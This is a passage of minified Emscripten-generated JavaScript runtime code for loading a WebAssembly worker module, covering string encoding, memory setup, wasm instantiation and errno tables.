if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}Module["stringToUTF8Array"]=stringToUTF8Array;function stringToUTF8(str,outPtr,maxBytesToWrite){return stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}Module["stringToUTF8"]=stringToUTF8;function lengthBytesUTF8(str){var len=0;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}Module["lengthBytesUTF8"]=lengthBytesUTF8;var UTF16Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf-16le"):undefined;function demangle(func){var __cxa_demangle_func=Module["___cxa_demangle"]||Module["__cxa_demangle"];if(__cxa_demangle_func){try{var s=func.substr(1);var len=lengthBytesUTF8(s)+1;var buf=_malloc(len);stringToUTF8(s,buf,len);var status=_malloc(4);var ret=__cxa_demangle_func(buf,0,0,status);if(getValue(status,"i32")===0&&ret){return Pointer_stringify(ret)}}catch(e){}finally{if(buf)_free(buf);if(status)_free(status);if(ret)_free(ret)}return func}Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling");return func}function demangleAll(text){var regex=/__Z[\\w\\d_]+/g;return text.replace(regex,(function(x){var y=demangle(x);return x===y?x:x+" ["+y+"]"}))}function jsStackTrace(){var err=new Error;if(!err.stack){try{throw new Error(0)}catch(e){err=e}if(!err.stack){return"(no stack trace available)"}}return err.stack.toString()}function stackTrace(){var js=jsStackTrace();if(Module["extraStackTrace"])js+="\\n"+Module["extraStackTrace"]();return demangleAll(js)}Module["stackTrace"]=stackTrace;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var HEAP,buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module["buffer"]=buffer=buf}function updateGlobalBufferViews(){Module["HEAP8"]=HEAP8=new Int8Array(buffer);Module["HEAP16"]=HEAP16=new Int16Array(buffer);Module["HEAP32"]=HEAP32=new Int32Array(buffer);Module["HEAPU8"]=HEAPU8=new Uint8Array(buffer);Module["HEAPU16"]=HEAPU16=new Uint16Array(buffer);Module["HEAPU32"]=HEAPU32=new Uint32Array(buffer);Module["HEAPF32"]=HEAPF32=new Float32Array(buffer);Module["HEAPF64"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value "+TOTAL_MEMORY+", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")}function enlargeMemory(){abortOnCannotGrowMemory()}var TOTAL_STACK=Module["TOTAL_STACK"]||5242880;var TOTAL_MEMORY=Module["TOTAL_MEMORY"]||16777216;if(TOTAL_MEMORY<TOTAL_STACK)Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was "+TOTAL_MEMORY+"! (TOTAL_STACK="+TOTAL_STACK+")");if(Module["buffer"]){buffer=Module["buffer"]}else{if(typeof WebAssembly==="object"&&typeof WebAssembly.Memory==="function"){Module["wasmMemory"]=new WebAssembly.Memory({"initial":TOTAL_MEMORY/WASM_PAGE_SIZE,"maximum":TOTAL_MEMORY/WASM_PAGE_SIZE});buffer=Module["wasmMemory"].buffer}else{buffer=new ArrayBuffer(TOTAL_MEMORY)}}updateGlobalBufferViews();function getTotalMemory(){return TOTAL_MEMORY}HEAP32[0]=1668509029;HEAP16[1]=25459;if(HEAPU8[2]!==115||HEAPU8[3]!==99)throw"Runtime error: expected the system to be little-endian!";Module["HEAP"]=HEAP;Module["buffer"]=buffer;Module["HEAP8"]=HEAP8;Module["HEAP16"]=HEAP16;Module["HEAP32"]=HEAP32;Module["HEAPU8"]=HEAPU8;Module["HEAPU16"]=HEAPU16;Module["HEAPU32"]=HEAPU32;Module["HEAPF32"]=HEAPF32;Module["HEAPF64"]=HEAPF64;function callRuntimeCallbacks(callbacks){while(callbacks.length>0){var callback=callbacks.shift();if(typeof callback=="function"){callback();continue}var func=callback.func;if(typeof func==="number"){if(callback.arg===undefined){Module["dynCall_v"](func)}else{Module["dynCall_vi"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module["preRun"]){if(typeof Module["preRun"]=="function")Module["preRun"]=[Module["preRun"]];while(Module["preRun"].length){addOnPreRun(Module["preRun"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module["postRun"]){if(typeof Module["postRun"]=="function")Module["postRun"]=[Module["postRun"]];while(Module["postRun"].length){addOnPostRun(Module["postRun"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}Module["addOnPreRun"]=addOnPreRun;function addOnInit(cb){__ATINIT__.unshift(cb)}Module["addOnInit"]=addOnInit;function addOnPreMain(cb){__ATMAIN__.unshift(cb)}Module["addOnPreMain"]=addOnPreMain;function addOnExit(cb){__ATEXIT__.unshift(cb)}Module["addOnExit"]=addOnExit;function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}Module["addOnPostRun"]=addOnPostRun;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module["intArrayFromString"]=intArrayFromString;function intArrayToString(array){var ret=[];for(var i=0;i<array.length;i++){var chr=array[i];if(chr>255){chr&=255}ret.push(String.fromCharCode(chr))}return ret.join("")}Module["intArrayToString"]=intArrayToString;function writeStringToMemory(string,buffer,dontAddNull){Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");var lastChar,end;if(dontAddNull){end=buffer+lengthBytesUTF8(string);lastChar=HEAP8[end]}stringToUTF8(string,buffer,Infinity);if(dontAddNull)HEAP8[end]=lastChar}Module["writeStringToMemory"]=writeStringToMemory;function writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}Module["writeArrayToMemory"]=writeArrayToMemory;function writeAsciiToMemory(str,buffer,dontAddNull){for(var i=0;i<str.length;++i){HEAP8[buffer++>>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}Module["writeAsciiToMemory"]=writeAsciiToMemory;if(!Math["imul"]||Math["imul"](4294967295,5)!==-5)Math["imul"]=function imul(a,b){var ah=a>>>16;var al=a&65535;var bh=b>>>16;var bl=b&65535;return al*bl+(ah*bl+al*bh<<16)|0};Math.imul=Math["imul"];if(!Math["fround"]){var froundBuffer=new Float32Array(1);Math["fround"]=(function(x){froundBuffer[0]=x;return froundBuffer[0]})}Math.fround=Math["fround"];if(!Math["clz32"])Math["clz32"]=(function(x){x=x>>>0;for(var i=0;i<32;i++){if(x&1<<31-i)return i}return 32});Math.clz32=Math["clz32"];if(!Math["trunc"])Math["trunc"]=(function(x){return x<0?Math.ceil(x):Math.floor(x)});Math.trunc=Math["trunc"];var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_tan=Math.tan;var Math_acos=Math.acos;var Math_asin=Math.asin;var Math_atan=Math.atan;var Math_atan2=Math.atan2;var Math_exp=Math.exp;var Math_log=Math.log;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_imul=Math.imul;var Math_fround=Math.fround;var Math_round=Math.round;var Math_min=Math.min;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function getUniqueRunDependency(id){return id}function addRunDependency(id){runDependencies++;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}}Module["addRunDependency"]=addRunDependency;function removeRunDependency(id){runDependencies--;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module["removeRunDependency"]=removeRunDependency;Module["preloadedImages"]={};Module["preloadedAudios"]={};var memoryInitializer=null;function integrateWasmJS(Module){var method=Module["wasmJSMethod"]||"native-wasm";Module["wasmJSMethod"]=method;var wasmTextFile=Module["wasmTextFile"]||"leathanhash.wast";var wasmBinaryFile=Module["wasmBinaryFile"]||"leathanhash.wasm";var asmjsCodeFile=Module["asmjsCodeFile"]||"worker.temp.asm.js";if(typeof Module["locateFile"]==="function"){wasmTextFile=Module["locateFile"](wasmTextFile);wasmBinaryFile=Module["locateFile"](wasmBinaryFile);asmjsCodeFile=Module["locateFile"](asmjsCodeFile)}var wasmPageSize=64*1024;var asm2wasmImports={"f64-rem":(function(x,y){return x%y}),"f64-to-int":(function(x){return x|0}),"i32s-div":(function(x,y){return(x|0)/(y|0)|0}),"i32u-div":(function(x,y){return(x>>>0)/(y>>>0)>>>0}),"i32s-rem":(function(x,y){return(x|0)%(y|0)|0}),"i32u-rem":(function(x,y){return(x>>>0)%(y>>>0)>>>0}),"debugger":(function(){debugger})};var info={"global":null,"env":null,"asm2wasm":asm2wasmImports,"parent":Module};var exports=null;function lookupImport(mod,base){var lookup=info;if(mod.indexOf(".")<0){lookup=(lookup||{})[mod]}else{var parts=mod.split(".");lookup=(lookup||{})[parts[0]];lookup=(lookup||{})[parts[1]]}if(base){lookup=(lookup||{})[base]}if(lookup===undefined){abort("bad lookupImport to ("+mod+")."+base)}return lookup}function mergeMemory(newBuffer){var oldBuffer=Module["buffer"];if(newBuffer.byteLength<oldBuffer.byteLength){Module["printErr"]("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here")}var oldView=new Int8Array(oldBuffer);var newView=new Int8Array(newBuffer);if(!memoryInitializer){oldView.set(newView.subarray(Module["STATIC_BASE"],Module["STATIC_BASE"]+Module["STATIC_BUMP"]),Module["STATIC_BASE"])}newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews()}var WasmTypes={none:0,i32:1,i64:2,f32:3,f64:4};function fixImports(imports){if(!0)return imports;var ret={};for(var i in imports){var fixed=i;if(fixed[0]=="_")fixed=fixed.substr(1);ret[fixed]=imports[i]}return ret}function getBinary(){try{var binary;if(Module["wasmBinary"]){binary=Module["wasmBinary"];binary=new Uint8Array(binary)}else if(Module["readBinary"]){binary=Module["readBinary"](wasmBinaryFile)}else{throw"on the web, we need the wasm binary to be preloaded and set on Module[\'wasmBinary\']. emcc.py will do that for you when generating HTML (but not JS)"}return binary}catch(err){abort(err)}}function getBinaryPromise(){if(!Module["wasmBinary"]&&typeof fetch==="function"){return fetch(wasmBinaryFile,{credentials:"same-origin"}).then((function(response){if(!response["ok"]){throw"failed to load wasm binary file at \'"+wasmBinaryFile+"\'"}return response["arrayBuffer"]()}))}return new Promise((function(resolve,reject){resolve(getBinary())}))}function doNativeWasm(global,env,providedBuffer){if(typeof WebAssembly!=="object"){Module["printErr"]("no native wasm support detected");return false}if(!(Module["wasmMemory"]instanceof WebAssembly.Memory)){Module["printErr"]("no native wasm Memory in use");return false}env["memory"]=Module["wasmMemory"];info["global"]={"NaN":NaN,"Infinity":Infinity};info["global.Math"]=global.Math;info["env"]=env;function receiveInstance(instance){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module["asm"]=exports;Module["usingWasm"]=true;removeRunDependency("wasm-instantiate")}addRunDependency("wasm-instantiate");if(Module["instantiateWasm"]){try{return Module["instantiateWasm"](info,receiveInstance)}catch(e){Module["printErr"]("Module.instantiateWasm callback failed with error: "+e);return false}}getBinaryPromise().then((function(binary){return WebAssembly.instantiate(binary,info)})).then((function(output){receiveInstance(output["instance"])})).catch((function(reason){Module["printErr"]("failed to asynchronously prepare wasm: "+reason);abort(reason)}));return{}}Module["asmPreload"]=Module["asm"];var asmjsReallocBuffer=Module["reallocBuffer"];var wasmReallocBuffer=(function(size){var PAGE_MULTIPLE=Module["usingWasm"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var old=Module["buffer"];var oldSize=old.byteLength;if(Module["usingWasm"]){try{var result=Module["wasmMemory"].grow((size-oldSize)/wasmPageSize);if(result!==(-1|0)){return Module["buffer"]=Module["wasmMemory"].buffer}else{return null}}catch(e){return null}}else{exports["__growWasmMemory"]((size-oldSize)/wasmPageSize);return Module["buffer"]!==old?Module["buffer"]:null}});Module["reallocBuffer"]=(function(size){if(finalMethod==="asmjs"){return asmjsReallocBuffer(size)}else{return wasmReallocBuffer(size)}});var finalMethod="";Module["asm"]=(function(global,env,providedBuffer){global=fixImports(global);env=fixImports(env);if(!env["table"]){var TABLE_SIZE=Module["wasmTableSize"];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var MAX_TABLE_SIZE=Module["wasmMaxTableSize"];if(typeof WebAssembly==="object"&&typeof WebAssembly.Table==="function"){if(MAX_TABLE_SIZE!==undefined){env["table"]=new WebAssembly.Table({"initial":TABLE_SIZE,"maximum":MAX_TABLE_SIZE,"element":"anyfunc"})}else{env["table"]=new WebAssembly.Table({"initial":TABLE_SIZE,element:"anyfunc"})}}else{env["table"]=new Array(TABLE_SIZE)}Module["wasmTable"]=env["table"]}if(!env["memoryBase"]){env["memoryBase"]=Module["STATIC_BASE"]}if(!env["tableBase"]){env["tableBase"]=0}var exports;exports=doNativeWasm(global,env,providedBuffer);return exports});var methodHandler=Module["asm"]}integrateWasmJS(Module);var ASM_CONSTS=[];STATIC_BASE=Runtime.GLOBAL_BASE;STATICTOP=STATIC_BASE+12512;__ATINIT__.push();memoryInitializer=Module["wasmJSMethod"].indexOf("asmjs")>=0||Module["wasmJSMethod"].indexOf("interpret-asm2wasm")>=0?"worker.js.mem":null;var STATIC_BUMP=12512;Module["STATIC_BASE"]=STATIC_BASE;Module["STATIC_BUMP"]=STATIC_BUMP;var tempDoublePtr=STATICTOP;STATICTOP+=16;function ___assert_fail(condition,filename,line,func){ABORT=true;throw"Assertion failed: "+Pointer_stringify(condition)+", at: "+[filename?Pointer_stringify(filename):"unknown filename",line,func?Pointer_stringify(func):"unknown function"]+" at "+stackTrace()}var PROCINFO={ppid:1,pid:42,sid:42,pgid:42};var ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};var ERRNO_MESSAGES={0:"Success",1:"Not super-user",2:"No such file or directory",3:"No such process",4:"Interrupted system call",5:"I/O error",6:"No such device or address",7:"Arg list too long",8:"Exec format error",9:"Bad file number",10:"No children",11:"No more processes",12:"Not enough core",13:"Permission denied",14:"Bad address",15:"Block device required",16:"Mount device busy",17:"File exists",18:"Cross-device link",19:"No such device",20:"Not a directory",21:"Is a directory",22:"Invalid argument",23:"Too many open files in system",24:"Too many open files",25:"Not a typewriter",26:"Text file busy",27:"File too large",28:"No space left on device",29:"Illegal seek",30:"Read only file system",31:"Too many links",32:"Broken pipe",33:"Math arg out of domain of func",34:"Math result not representable",35:"File locking deadlock error",36:"File or path name too long",37:"No record locks available",38:"Function not implemented",39:"Directory not empty",40:"Too many symbolic links",42:"No message of desired type",43:"Identifier removed",44:"Channel number out of range",45:"Level 2 not synchronized",46:"Level 3 halted",47:"Level 3 reset",48:"Link number out of range",49:"Protocol driver not attached",50:"No CSI structure available",51:"Level 2 halted",52:"Invalid exchange",53:"Invalid request descriptor",54:"Exchange full",55:"No anode",56:"Invalid request code",57:"Invalid slot",59:"Bad font file fmt",60:"Device not a stream",61:"No data (for no delay io)",62:"Timer expired",63:"Out of streams resources",64:"Machine is not on the network",65:"Package not installed",66:"The object is remote",67:"The link has been severed",68:"Advertise error",69:"Srmount error",70:"Communication error on send",71:"Protocol error",72:"Multihop attempted",73:"Cross mount point (not really error)",74:"Trying to read unreadable message",75:"Value too large for defined data type",76:"Given log. name not unique",77:"f.d. invalid for this operation",78:"Remote address changed",79:"Can access a needed shared lib",80:"Accessing a corrupted shared lib",81:".lib section in a.out corrupted",82:"Attempting to link in too many libs",83:"Attempting to exec a shared library",84:"Illegal byte sequence",86:"Streams pipe error",87:"Too